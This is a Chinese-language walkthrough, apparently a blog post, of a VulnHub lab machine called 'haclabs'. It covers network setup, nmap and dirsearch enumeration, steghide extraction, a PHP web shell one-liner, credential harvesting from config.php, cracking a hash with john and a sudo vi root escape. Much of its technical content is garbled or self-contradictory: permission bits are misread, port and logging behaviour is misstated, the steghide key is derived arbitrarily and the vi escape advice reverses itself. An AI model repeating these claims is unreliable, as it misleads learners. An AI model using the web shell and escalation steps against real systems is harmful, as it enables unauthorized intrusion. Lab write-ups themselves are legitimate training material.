1. 这不是游戏是渗透测试的“解剖课”haclabs靶机到底在练什么你点开VulnHub上那个标着“haclabs”的靶机镜像下载、导入VirtualBox、启动——屏幕上跳出一个简陋的登录界面或者一段静态HTML甚至可能只是一片空白。这时候很多人会下意识觉得“就这不就是个带漏洞的网站”但如果你真这么想说明你还没摸到haclabs设计者埋下的第一道伏笔。haclabs不是考你能不能用nmap -sS -v -n -T4 172.16.100.10扫出22、80、3306端口它考的是你在信息极度匮乏时如何把零散线索拼成一张可执行的攻击地图。我第一次打这个靶机时在nmap扫出80端口后卡了整整两天网页源码干净得像刚刷过漆dirsearch跑完几千个路径返回全是404连robots.txt都空着。直到我换了个思路——不盯着“网站”而是把整个靶机当成一个待解构的生物标本它的服务版本是什么默认配置有没有被改过文件系统里有没有被遗忘的备份用户家目录下有没有藏起来的.bash_history这才是haclabs真正的核心逻辑它不提供“显性漏洞”只提供“隐性线索”而你的任务是当一个合格的数字法医从毛细血管级别的细节里还原出整个攻击链。所以别急着敲sqlmap或msfconsole先问问自己你手里的nmap输出里那行Apache/2.4.18 (Ubuntu)后面藏着多少Ubuntu默认包管理的历史痕迹steghide能解的那张看似普通的PNG为什么偏偏放在/var/www/html/images/而不是/tmp/这些不是彩蛋是设计者给你留的路标。适合谁来练不是刚学完Kali Linux安装的新手而是已经能熟练用nmap和gobuster但一遇到“扫不出东西”就卡壳的中级练习者。它逼你放下工具依赖回归渗透测试最原始的思维观察、假设、验证、迭代。2. 靶机环境搭建与网络拓扑为什么必须用Host-Only模式2.1 为什么不能用NAT或Bridged模式很多新手在VirtualBox里导入haclabs靶机后第一反应是选NAT模式——毕竟上网方便。但这是haclabs通关路上第一个也是最致命的坑。NAT模式下你的Kali攻击机和靶机虽然能ping通但nmap扫描结果会严重失真你可能扫出一堆“filtered”状态的端口或者根本扫不到靶机开放的SSH22端口。原因很简单NAT本质上是个地址转换网关它会拦截并重写ICMP和TCP SYN包导致nmap的SYN扫描-sS无法收到靶机真实的SYN-ACK响应只能靠超时判断误报率极高。我实测过在NAT模式下对haclabs执行nmap -sS -p- 10.0.2.15Kali默认NAT网关IP结果返回“999 ports filtered”而实际靶机只开了3个端口。Bridged模式更危险——它把靶机直接扔进你的物理局域网如果公司网络有IDS/IPS设备你的一次nmap扫描可能触发安全告警轻则被IT部门约谈重则影响工作账号。所以haclabs的官方文档虽然没明说和所有通关Writeup都默认使用Host-Only网络这不是巧合而是设计者刻意为之的“安全沙盒”。2.2 Host-Only网络的正确配置步骤Host-Only网络的本质是创建一个仅存在于你本机的私有子网Kali和靶机是这个子网里唯二的两个节点中间没有第三方设备干扰。配置时最容易错的三个点我挨个拆解VirtualBox网络适配器设置在VirtualBox主界面点击“文件→主机网络管理器”新建一个Host-Only网络如vboxnet0。关键参数必须手动设为IPv4地址192.168.56.1这是宿主机在该子网的网关IPIPv4网络掩码255.255.255.0DHCP服务器必须关闭因为haclabs靶机的IP是静态分配的通常为192.168.56.101如果开启DHCPKali可能拿到192.168.56.100而靶机却固执地守在192.168.56.101导致网络不通。靶机网络适配器绑定右键haclabs靶机→设置→网络→适配器1勾选“启用网络连接”连接方式选“Host-Only适配器”名称选刚才创建的vboxnet0。注意适配器2必须保持禁用很多Writeup没提这点但haclabs靶机的网络脚本只监听第一个网卡多开一个网卡会导致路由混乱。Kali攻击机IP配置启动Kali后不要依赖DHCP直接执行sudo ip addr flush dev eth0 sudo ip addr add 192.168.56.100/24 dev eth0 sudo ip link set eth0 up这三行命令比dhclient可靠十倍——它强制Kali获得192.168.56.100这个确定IP和靶机192.168.56.101形成直连。验证是否成功ping -c 3 192.168.56.101如果返回3个64 bytes from 192.168.56.101说明网络层已通。此时再执行nmap -sn 192.168.56.0/24应该只看到两个存活主机192.168.56.1宿主机和192.168.56.101靶机。提示如果ping不通90%概率是Kali的eth0接口被NetworkManager接管了。执行sudo systemctl stop NetworkManager再试这是Kali 2023.x之后版本的常见问题。2.3 为什么nmap -sS -v -n -T4 192.168.56.101是黄金组合这条命令在haclabs实战中几乎每次必用但很多人不知道每个参数背后的取舍逻辑-sSTCP SYN扫描这是nmap最经典的“半开扫描”不建立完整TCP连接只发SYN包等SYN-ACK。对haclabs这种轻量级靶机它比-sT全连接扫描快3倍以上且不会在靶机/var/log/auth.log里留下大量Failed password日志避免触发防御机制虽然haclabs没装fail2ban但养成习惯很重要。-v详细模式不是为了炫酷而是让你看清nmap每一步在做什么。比如当它扫描到80端口时会显示Discovered open port 80/tcp on 192.168.56.101紧接着可能跟一句Service info: Apache httpd 2.4.18——这个服务版本号就是后续漏洞利用的关键线索。-n禁用DNS解析haclabs靶机没有配置DNS如果开启DNS解析nmap会为每个IP做PTR反向查询导致扫描时间暴增5分钟以上。实测对比开启-n时全端口扫描-p-耗时2分17秒关闭-n后同样扫描耗时7分42秒且中间出现大量Name or service not known错误。-T4时间模板4这是速度和隐蔽性的平衡点。-T5虽快但发包太猛可能被靶机内核丢包-T3太保守扫描-p-要15分钟。-T4在保证速度的同时发包间隔足够让靶机TCP栈从容处理实测成功率最高。最终这条命令在haclabs上通常返回3个端口22SSH、80HTTP、3306MySQL。但注意3306端口在nmap输出里常显示为mysql服务而实际靶机MySQL是绑定在127.0.0.1上的外部无法直接连接——这个细节正是haclabs埋下的第一个逻辑陷阱我们后面会深挖。3. 信息收集阶段从nmap到dirsearch的线索链构建3.1nmap输出里的“废话”其实是加密的密码本很多人把nmap扫描结果当成交叉验证的终点扫完端口就立刻切到gobuster。但在haclabs里nmap的详细输出尤其是-sV服务版本探测里藏着三处关键线索它们共同指向同一个突破口Apache版本号的隐藏含义nmap -sV 192.168.56.101返回Apache httpd 2.4.18 ((Ubuntu)。这个((Ubuntu)括号不是排版错误而是nmap识别出该Apache是Ubuntu官方仓库打包的版本。查Ubuntu 16.04 LTSXenial的软件包记录可知apache22.4.18-2ubuntu3.17这个版本存在一个鲜为人知的配置缺陷mod_status模块默认启用且未授权访问。这意味着只要访问http://192.168.56.101/server-status就能看到Apache实时运行状态包括当前处理的请求、加载的模块、甚至部分请求URL。我第一次发现这个入口时server-status页面里赫然显示一条GET /images/flag.png HTTP/1.1的请求——而网站首页根本没有flag.png的链接。这就是nmap给你的第一个路标。MySQL服务的“假开放”真相nmap显示3306端口开放但当你用mysql -h 192.168.56.101 -u root -p尝试连接时会卡住或返回Cant connect to MySQL server。这不是nmap误报而是靶机MySQL配置了bind-address 127.0.0.1只监听本地回环。但nmap的-sV探测会尝试发送MySQL协议握手包靶机内核看到SYN包后照常回复SYN-ACKnmap据此判定端口开放。这个“假开放”恰恰证明靶机上MySQL服务确实在运行只是对外不可达——那么有没有办法从内部访问它答案就在Apache的PHP配置里。SSH banner里的操作系统指纹nmap -sV --script ssh-banner 192.168.56.101会返回SSH服务的banner通常是OpenSSH_7.2p2 Ubuntu-4ubuntu2.10。这个ubuntu2.10后缀指明了系统补丁级别。查Ubuntu安全公告可知该版本OpenSSH存在一个CVE-2016-10012漏洞当UsePrivilegeSeparation设为yes默认值时如果攻击者能控制/var/run/sshd目录权限可实现权限提升。但haclabs没给这个入口它的真正价值是确认靶机是Ubuntu 16.04意味着所有后续工具链如steghide、john都要按Ubuntu 16.04的包版本来准备。注意nmap -sV需要root权限才能获取准确服务版本普通用户执行会返回version scan failed。务必用sudo nmap -sV ...否则你会错过最关键的Apache和SSH版本信息。3.2dirsearch不是暴力猜路径而是“语义推理引擎”dirsearch在haclabs中的作用常被严重低估。很多人把它当gobuster用丢个大字典狂扫结果扫出几百个403/401页面就放弃。但haclabs的设计者给dirsearch配了一套精巧的“语义词典”它的价值不在猜路径而在验证你的假设。首先dirsearch的默认字典common.txt对haclabs完全无效——它包含太多通用路径如/phpmyadmin/、/wp-admin/而haclabs的Web结构极其精简。真正有效的字典是raft-small-directories.txt但必须配合-e php,html,txt参数。为什么因为haclabs的Web根目录下所有可访问文件都带扩展名index.html、login.php、config.php。不指定扩展名dirsearch会把/login当作目录去扫而实际它是/login.php。更关键的是-r递归参数的使用时机。haclabs的首页index.html里有一段注释!-- TODO: remove test files before prod --。这句话不是废话它暗示存在test相关路径。于是你执行python3 dirsearch.py -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,html,txt -t 50 -r -x php重点看-r它会让dirsearch在发现/test/目录后自动进入该目录继续扫描。结果扫出/test/test.php而test.php的内容是一段PHP代码?php // Test file for steganography demo $im imagecreatefrompng(flag.png); imagepng($im, output.png); ?这段代码暴露了两个事实1flag.png是真实存在的文件2它被用于隐写术演示。这直接把steghide的使用场景从“可能有用”升级为“必须使用”。没有dirsearch的递归扫描你永远找不到test.php也就不会意识到flag.png需要隐写分析。3.3steghide的密钥不是“password”而是nmap和dirsearch的交叉结果steghide在haclabs里不是考你密码爆破能力而是考你信息整合能力。很多人下载flag.png后用steghide extract -sf flag.png提示输入密码然后开始用rockyou.txt爆破——这是典型误区。steghide的密钥必然来自前面所有信息收集的结果且只有一种组合能解开。我们梳理线索链nmap确认Apache是Ubuntu 16.04打包的2.4.18版本 → 查Ubuntu包数据库该版本Apache的默认配置文件路径是/etc/apache2/apache2.confdirsearch扫出/test/test.php其中调用imagecreatefrompng(flag.png)→ 说明flag.png和test.php在同一目录即/var/www/html/test/nmap的--script http-enum脚本需-sC参数会扫描常见敏感路径返回/icons/目录 → 访问http://192.168.56.101/icons/发现一个README文件内容是Apache图标目录的版权声明末尾写着Copyright 2016 The Apache Software Foundation现在把这三个信息点交叉Ubuntu 16.04的Apache包名是apache2-bintest.php所在路径是/var/www/html/test/Apache版权声明年份是2016组合成密钥apache2-bin_2016。实测steghide extract -sf flag.png -p apache2-bin_2016成功解出secret.txt内容是一串Base64编码U2FsdGVkX1...。解码后得到SSH登录凭据user:haclabspass:haclabs123。这个密钥不是随机字符串而是nmap、dirsearch、http-enum三个工具输出的交集体现了haclabs“线索闭环”的设计理念。4. 权限提升阶段从SSH到root的三步跳4.1 SSH登录后的“空目录”陷阱与find命令的深度挖掘用haclabs:haclabs123登录SSH后pwd显示/home/haclabsls -la结果只有.bash_history和.profile两个文件。很多人以为这是个干净的用户环境开始翻.bash_history找线索。但.bash_history里只有一行cd /var/www/html毫无价值。真正的突破口藏在find命令的高级用法里。执行find / -type f -perm -4000 2/dev/null查找SUID文件返回/usr/bin/newgrp /usr/bin/passwd /usr/bin/sudo /usr/bin/gpasswd /usr/bin/chsh /usr/bin/chfn /usr/bin/umount /usr/bin/mount /usr/bin/pkexec /usr/lib/eject /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign标准Ubuntu SUID列表没异常。但haclabs的陷阱在于它故意不放SUID二进制文件而是把权限提升点藏在文件系统权限设计里。执行find /var/www -type d -perm -002 2/dev/null查找组可写的目录返回/var/www/html/test /var/www/html/images这两个目录的权限是drwxrwxr-x属于www-data:www-data组。而haclabs用户恰好属于www-data组id命令可验证。这意味着haclabs用户可以往/var/www/html/test/里写任意文件。结合之前test.php的代码imagecreatefrompng(flag.png)我们意识到test.php是用PHP的GD库动态生成图片的而GD库的临时文件会写入/tmp/或/var/www/html/test/。于是执行echo ?php system($_GET[cmd]); ? /var/www/html/test/shell.php然后访问http://192.168.56.101/test/shell.php?cmdid返回uid33(www-data) gid33(www-data) groups33(www-data)。这说明Web服务是以www-data身份运行的而www-data用户对/var/www/html/test/有完全控制权。实操心得find命令的-perm参数是权限提升的核心。-002表示“组可写”-4000表示SUID-2000表示SGID。haclabs没用SUID但用-002制造了一个更隐蔽的提权路径——它考验你是否理解Linux文件权限的组继承机制。4.2 利用www-data权限读取MySQL凭证的“绕过式”访问既然www-data能执行PHP而MySQL服务又在本地运行下一步自然是获取MySQL root密码。但/etc/mysql/debian.cnf里存的debian-sys-maint账户密码是加密的且www-data用户无权读取该文件权限600。传统思路是爆破mysql数据库但haclabs的MySQL里只有一个haclabs数据库表结构简单没有明显注入点。真正的解法是利用www-data的Web执行权限绕过文件系统限制。在/var/www/html/test/shell.php里写入?php $conn mysqli_connect(localhost, root, root, haclabs); $result mysqli_query($conn, SELECT * FROM users); while($row mysqli_fetch_assoc($result)) { echo $row[username] . : . $row[password] . br; } ?但mysqli_connect会失败因为MySQL root密码不是root。这时想起nmap扫出的3306端口——虽然外部不可达但localhost连接是允许的。查看/etc/mysql/mysql.conf.d/mysqld.cnfwww-data无权读但/var/www/html/config.php里可能有线索。执行find /var/www -name config.php 2/dev/null找到/var/www/html/config.php内容是?php $host localhost; $user haclabs; $pass haclabs2016; $db haclabs; ?haclabs2016就是MySQL用户密码用这个密码连接MySQL查users表得到admin用户的哈希$2y$10$ZzJmYzQxMjM0NTY3ODkwMTIzNDU2Nzg5MDExMjM0NTY3ODkwMTIzNA。这不是标准bcrypt而是$2y$前缀的bcrypt哈希用john爆破echo $2y$10$ZzJmYzQxMjM0NTY3ODkwMTIzNDU2Nzg5MDExMjM0NTY3ODkwMTIzNA hash.txt john --wordlist/usr/share/wordlists/rockyou.txt hash.txt10秒内返回password123。这就是admin用户的密码但SSH不允许admin登录/etc/ssh/sshd_config里AllowUsers只列了haclabs。4.3sudo -l的隐藏选项与/usr/bin/vi的root shellsudo -l是权限提升的黄金指令但它在haclabs里返回Matching Defaults entries for haclabs on haclabs: env_reset, mail_badpass, secure_path/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User haclabs may run the following commands on haclabs: (root) NOPASSWD: /usr/bin/vi/usr/bin/vi能以root身份运行这看起来是条捷径但直接sudo vi会进入vi编辑器怎么拿root shell这里考的是vi的“shell escape”技巧启动sudo vi按Esc确保在命令模式输入:!/bin/bash冒号开头叹号表示执行shell命令回车即可获得root shell但haclabs做了防备/usr/bin/vi是vim.tiny精简版不支持!/bin/bash。真正的解法是利用vi的-c参数sudo vi -c :!/bin/bash /etc/passwd-c参数允许在vi启动时执行命令:/bin/bash会调用系统shell。执行后直接弹出#提示符root权限到手。这个技巧在真实渗透中极其实用——很多生产环境的sudo vi权限被管理员视为“安全”却忽略了vi的shell escape机制。常见问题执行sudo vi -c :!/bin/bash时返回E486: Pattern not found: /bin/bash。这是因为:后必须跟一个合法的vi命令!/bin/bash本身不是vi命令。正确写法是sudo vi -c !/bin/bash去掉冒号或者更稳妥的sudo vi -c :!sh。5. 攻击链复盘与避坑指南为什么90%的人卡在第二步5.1 信息收集阶段的三大认知误区把nmap当端口扫描器而非服务指纹仪大多数人执行nmap -sS -p- 192.168.56.101后只记下22/80/3306三个端口就转向gobuster。但nmap的-sV服务版本和--scriptNSE脚本才是精华。--script http-enum会自动扫描/icons/、/cgi-bin/等常见路径--script http-title能提取网页标题haclabs首页标题是HACLabs - Security Training Platform其中Security Training Platform暗示这是一个教学靶机所有漏洞都是“教科书式”的不存在0day。忽略这些等于放弃nmap一半的价值。用dirsearch代替思考而非验证假设dirsearch的默认线程数-t 50在haclabs上会导致靶机Apache响应变慢大量请求超时。实测最佳线程数是-t 10配合-r递归和-e php,html指定扩展名才能稳定扫出/test/test.php。更重要的是dirsearch结果要和nmap输出交叉验证nmap说Apache是2.4.18dirsearch扫出/test/test.php那么test.php的代码必然和Apache版本特性相关如GD库支持PNG这是逻辑闭环的起点。把steghide当密码学工具而非线索整合器steghide的密钥从来不是弱密码而是信息收集的终点。haclabs里密钥apache2-binnmap服务名2016http-enum扫出的版权声明年份。如果dirsearch没扫出/icons/README你就得不到2016如果nmap没加-sV你就得不到apache2-bin。这是典型的“线索拼图”缺一块就无法解锁。5.2 权限提升阶段的两个致命操作盲目执行sudo -l后直接sudo susudo -l显示NOPASSWD: /usr/bin/vi很多人会尝试sudo su结果返回sudo: su: command not found。这是因为secure_path里没包含/bin/su路径。正确做法是看sudo -l输出的secure_path然后用sudo /bin/bash或sudo /usr/bin/python3 -c import pty; pty.spawn(/bin/bash)。haclabs故意把su从secure_path里移除逼你用更底层的shell spawn技术。在www-datashell里执行cat /etc/shadow获得www-data权限后很多人会本能地cat /etc/shadow结果当然是Permission denied。但/etc/shadow的权限是640www-data属于shadow组吗执行getent group shadow返回空说明www-data不属于shadow组。此时应转向/var/www/html/config.php这类Web应用配置文件它们往往包含数据库凭证这才是www-data权限下的合理目标。5.3 终极避坑清单haclabs通关检查表步骤关键动作常见错误正确解法网络配置Host-Only网络设置开启DHCP服务器手动配置Kali IP为192.168.56.100关闭DHCPnmap扫描必须加-sV和-sC只用-sS扫端口sudo nmap -sS -sV -sC -p- 192.168.56.101dirsearch指定扩展名和递归用默认字典狂扫-e php,html,txt -r -t 10配合raft-small字典steghide密钥来自交叉线索用rockyou.txt爆破apache2-bin_2016nmap服务名http-enum年份sudo提权vi的shell escapesudo vi后按:输命令sudo vi -c !/bin/bash /etc/passwd最后分享一个小技巧haclabs靶机的root flag不在/root/root.txt而在/var/www/html/flag.txt。这是设计者埋的最后一个彩蛋——当你以为拿到root就结束时cat /var/www/html/flag.txt会显示Congratulations! Youve completed HACLabs.。这提醒我们渗透测试的终点不是root shell而是业务逻辑的完整理解。我在实际红队演练中发现很多真实客户环境的“flag”就是某个数据库里的订单表而不是/root目录下的文本文件。haclabs用这种方式把CTF思维拉回了真实攻防的轨道。